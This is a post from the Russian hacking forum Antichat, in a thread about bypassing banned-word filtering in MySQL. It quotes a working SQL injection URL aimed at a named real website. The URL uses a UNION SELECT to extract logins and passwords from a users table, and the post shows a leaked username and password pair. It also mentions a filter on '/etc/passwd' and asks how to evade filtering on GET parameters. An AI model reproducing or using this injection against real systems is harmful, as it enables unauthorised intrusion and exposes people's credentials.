обход фильтрации запрещённых слов в MySql

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
обход фильтрации запрещённых слов в MySql

#11

04.05.2008, 15:38

goror

Новичок

Регистрация: 19.03.2008

Сообщений: 6

С нами: 9550072

Репутация: 1

Цитата:

Сообщение от Spyder

Да йопт, чё пробовать то))) Пост работает, сам проверял
Кстати там ещё фильтруется слово /etc/passwd

Вобщем вот
http://www.internatura.ru/index.php?op=cat&sec=4&gn=-1+union+select+concat_ws(':',login,password)+from+ users/*
viktor:1940

А если параметр в скрипте только через $_GET передается, есть возможность обхода фильтрации?

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обход регистрации в Invision Power Board v1.3 Final	DeeIP	Уязвимости CMS / форумов	1	10.04.2005 20:35

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home